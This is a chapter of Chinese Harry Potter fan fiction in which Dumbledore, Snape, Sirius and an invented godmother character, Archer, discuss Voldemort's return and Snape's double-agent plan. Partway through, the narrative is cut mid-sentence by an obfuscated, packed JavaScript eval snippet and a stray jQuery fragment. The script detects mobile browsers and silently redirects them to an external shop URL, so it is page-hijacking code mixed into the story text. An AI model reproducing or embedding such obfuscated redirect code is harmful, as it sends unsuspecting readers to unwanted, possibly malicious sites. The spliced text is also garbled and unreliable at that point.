看过芙蓉还有威克多尔安然无恙以后,哈利跟着邓布利多到了他的办公室,并在那里原原本本地讲述今天的一切。
“我要再说一遍,”邓布利多欣慰地说,“你今晚的表现十分勇敢,远远超出了我对你的期望,哈利。你所表现的勇气,与那些在伏地魔鼎盛时期同他抗争至死的巫师们不相上下。”
“伏地魔……是不是没办法复活了?”哈利嗓音有些沙哑地说,他只想知道这个。
邓布利多望着他。
“他会。”
“可是他没得到我的血。”哈利急切地说。
“随便一个仇敌的血,都能使他复活。而他之所以优先选择你,是因为你——哈利·波特——才是他认为的他命中的仇敌。而在发现得不到你的血之后,他为了复活,大约会退而求其次。”邓布利多平静地说。
哈利睁大眼睛。
“所以我需要你帮个忙,哈利……”邓布利多轻声说,“一直以来,我不愿意将我的计划告知你,因为我总是认为你还太小,不适合卷入像我这样的老家伙的诡计。直到阿切尔说你应该知道这一切。”
“你肩负起了一个成年巫师的重任,并发现你自己完全挑得起这副担子——你使我们对你抱有更高的期望。”
哈利问,并在问的时候坚定起来:“我能做些什么?”
……
门开了。
“你跟我一起到医院去吧。今晚我不想让你回宿舍了。服一些安眠药剂,好好地静下心来……”
早就等急了的小天狼星马上迎上去:“哈利怎么样?”
“还不错。”哈利说,尽管他的脸色有些苍白。
邓布利多微笑着:“刚好。小天狼星,你愿意陪着他去医院吗?”
小天狼星当然愿意,他陪着他们走下楼梯,向医院走去。
邓布利多推开门时,哈利看见韦斯莱夫人、比尔、罗恩和赫敏都围在显得焦头烂额的庞弗雷夫人身边。他们似乎在追问哈利的情况和下落。
当哈利、邓布利多和小天狼星进去时,他们都猛地转过身来,韦斯莱夫人发出一声压抑的惊呼。
“哈利!哦,哈利!”
她拔脚向哈利奔来,但邓布利多走上前,挡在了他俩之间。
“莫丽,”他举起一只手,说道,“请你先听我说几句。哈利今晚经历了一声可怕的折磨。他刚才又向我复述了一遍。他现在需要的是睡眠、清静和安宁。如果他愿意你们陪着他,”他又望望周围的罗恩、赫敏和比尔,补充道,“你们可以留下。但我不希望你们向他提任何问题,除非他自己愿意回答,今晚是绝对不行的。”
韦斯莱夫人点了点头。她脸色十分苍白。她突然转向罗恩、赫敏和比尔,就好像是他们在吵闹似的。
她压低声音教训道:“你们听见了吗?他需要安静!”
“你们陪哈利待一会儿,”邓布利多简单地说,“这时候陪伴就是对他莫大的安慰。哈利——我等你上了床再走。对了,庞弗雷夫人,阿切尔现在在哪里?”
庞弗雷夫人显得不是特别高兴:“布拉赫尔教授不愿意听取我的意见,我把她的绷带绑好,告诉她在医院休息观察几天。但是她在跟许多人说完话以后,马上就离开了医院,并且坚持她不会有事。”
哈利本来准备跟着庞弗雷夫人走了,听到这个马上担心地说:“可是教母胳膊上的伤……”
“我会劝她回医院的,哈利。”邓布利多温和地说。
哈利这才松了口气。
庞弗雷夫人领着哈利走向旁边的一张床,哈利模糊的视线瞥见真的穆迪一动不动地躺在房间尽头的一张床上。
他的木头假腿和带魔法的眼睛放在床头柜上。
看样子,这个就是真的穆迪了。也不知道那么长的一段时间里,他都被假穆迪关在了哪里。
想到假穆迪——那个他曾无比信任、尊敬的黑魔法防御课老师,哈利感觉自己的胃痉挛起来。
“他没事吧?”哈利问道,竭力让自己听起来很平静。
“他不会有事的。”庞弗雷夫人说,给了哈利一套睡衣,并拉上他周围的帘子。
邓布利多的办公室还亮着灯,尽管里面已经送走了许多来来往往的人。
在卢平也离开以后。
“你现在明白阿切尔真心在保护哈利了吗?”邓布利多双手交握,明亮的蓝眼睛看着小天狼星。现在办公室只剩下三个人了。他,小天狼星,还有西弗勒斯。
后者不情不愿地从鼻子里发出一个“嗯”音,但是他还是坚持着:“可她绝对绝对不可能是哈利的教母!”
斯内普“呵”了一声:“要我说,她也实在没必要当那个小崽子的教母。今天还省的浪费我一瓶那么珍贵的魔药。”
小天狼星再次对斯内普怒目而视:“鼻涕精!别以为你刚刚救了哈利,我就不会打你!”
“我曾经想过……”邓布利多说话了,两个马上要掐起来的人又安静下来,“将哈利跟我说的话告诉她。包括前天哈利又梦到了伏地魔的事情……不过现在看来,告诉她,只会让她平添忧虑,而且似乎——为之过早。”
斯内普不客气地说:“你现在不告诉她,等到她自己知道了,就要派她那只猴子把你的办公室也砸了!”
邓布利多失笑。
他没有说什么,只是对小天狼星说:“时候不早了。你该回去陪在哈利身边了。不过,可能是因为年纪大了,就总有些喜欢唠叨。小天狼星,你和阿切尔——作为哈利现在最亲近的人,实在不应该闹矛盾的。你应该看看阿切尔,她为了哈利,再三宽容你。”
前面那几句也就算了,最后一句。
小天狼星不敢置信:“她?再三宽容我?”
不是!
到底是谁被打青了两只眼睛?
是谁被迫穿上女装?
是谁变了性不说还要去教子那里出丑?
邓布利多坚决地看着他,小天狼星感觉这个世界都崩塌了。连邓布利多都相信布拉赫尔那个女人是个好人……他在这个世界简直孤立无援……
“好吧,”他蔫蔫地说,“我知道了。”
随着最后一个人也离开,西弗勒斯沉默着,整个屋子只剩下他和阿不思。
“就这样吧。”斯内普开口,嗓音几乎与他的脸色一样的苍白,“我会对他说,当时我听到很多人正在赶来,为了不暴露自己,继续在霍格沃茨蛰伏来为他服务——我不得不带着波特先行离开——实际上是在我自己家里,击昏波特,为他拿到波特的血,并且在风平浪静后为他献上。”
邓市利多把那只装着哈利的血的瓶子递给他,蓝色的眼睛藏着忧虑:“这不是一个完美的借口。你真的准备好了吗?”
“他会信的。他决定在霍格沃茨完成复活仪式,本就藏着极大的风险。我能说服他。你只需要用遗忘咒消除当时在办公室里的人的这部分记忆。“斯内曾低声说,“今天有太多人知道了。”
“哈利才开始喜欢你。“邓布利多说,“或许我们可以……”
“没有别的办法,阿不思,而且,我已经等得太久,不能再等下去了。这是一个绝佳的机会。”
“所以——这就是你把我们都支走,只有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12882981|122282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你们两个人秘密谈话的原因?”
一个本不该出现,更不该响起的女人的声音响起。
下一秒,身披暗紫斗篷的女巫从那扇厚重的杉木门里走出来。
“我怎么不知道你拥有修改那么多人记忆的权力呢?”她质问,脸色沉得可怕。
斯内普显然没想到阿切尔竟然没有像其他人一样,在阿不思这里听完话后就离开,反而躲在门口。但是他现在只能面对。
他的声音极速又轻柔,如同一片羽毛从水面飘过:“阿切尔,这种事情越少人知道越好,他们对我的态度必须像以前一样,不然黑魔王会……”
“起疑?”阿切尔讥讽地勾起嘴角,“可是你既然能想到一个说不准能应付伏地魔的借口,为什么不想着对伏地魔说,你已经借助刚刚的机会——在伏地魔面前保护哈利——成功打入我们真正的内部了呢?你跟我们相处融洽,能得到更加机密的消息。一如当初的小矮星彼得?”
斯内普愣在那里,就好像被一个全新的世界观笼罩住了。
“听着,西弗勒斯,”阿切尔说,“你没必要忍受双面间谍的痛苦,那太沉重也太孤独了。在有新的思路的情况下,我看不出你有继续损失自己的公共形象的必要。”
“你和所有为打败伏地魔的人一样,需要我们的支持、关心与爱护,而不是一昧的指责、诅咒与怀疑。”
斯内普差点动摇了。
从内心深处,他当然不想失去那已经在他的生命里存在了一个小时的温暖和信任,只是……他更不愿意前功尽弃!
可是阿切尔刚刚说……
阿切尔……
斯内普忽然想起来,这个女人到底有多么能花言巧语,她最擅长的东西除了炼金术以外,就是卖弄她的语言技巧说服别人。
告诉伏地魔他成功打入白巫师内部这个新思路,固然可以让他保留现在的一切,但也意味着伏地魔会更加警惕他——他将注定得不到伏地魔最高的信任。这可不是他愿意成为双面间谍的目的。
——该死!这点又被这个女人忽悠过去了!
斯内普心里当然知道,阿切尔花言巧语,为的是避免他在作为双面间谍时去做那些危险的任务,为的是保证他的安全。但这不是他想要的。对不起,阿切尔。
“不行,”他缓缓抬头,坚决地说,“我知道我自己在做什么。”
看到斯内普从动摇到恍然最后到坚决的神情,不用多说,阿切尔也明白了,她没办法说服他,
“那么,随你便。”阿切尔冷漠地说,“但我不会允许任何人动我记忆!要是改着改着把我的炼金知识记混了怎么办?你们要改就改别人的,反正别想改我的。”
斯内普嘴角狠狠抽播了一下,无语地看着她:“你猜到我对波特的感情矛盾复杂都多少年了,可在此期间,我和阿不思什么时候想过要修改你的记忆了?”
“这种事谁说的清楚?还不是六月天,说变就变。”
阿切尔嘀咕一声,扭头看向邓布利多,想看看他是什么想法,后者笑眯眯地点头。
于是阿切尔放心地大马金刀坐下来,那只受伤的胳膊放在办公桌上:“那么现在,就说说哈利没有告诉我的事吧。什么时候伏地魔又到他梦里来了?”
那双蓝色的眼睛在半月形镜片后深思地望着她。
阿切尔吃惊地瞪大眼睛:“我说校长,你应该不会打算在我真的派Ruin来大闹你办公室之后,才被、迫决定告诉我一切吧?”
邓布利多无奈,他只能让斯内普离开,然后告诉阿切尔她作为教母本该知道的所有有关哈利的一切。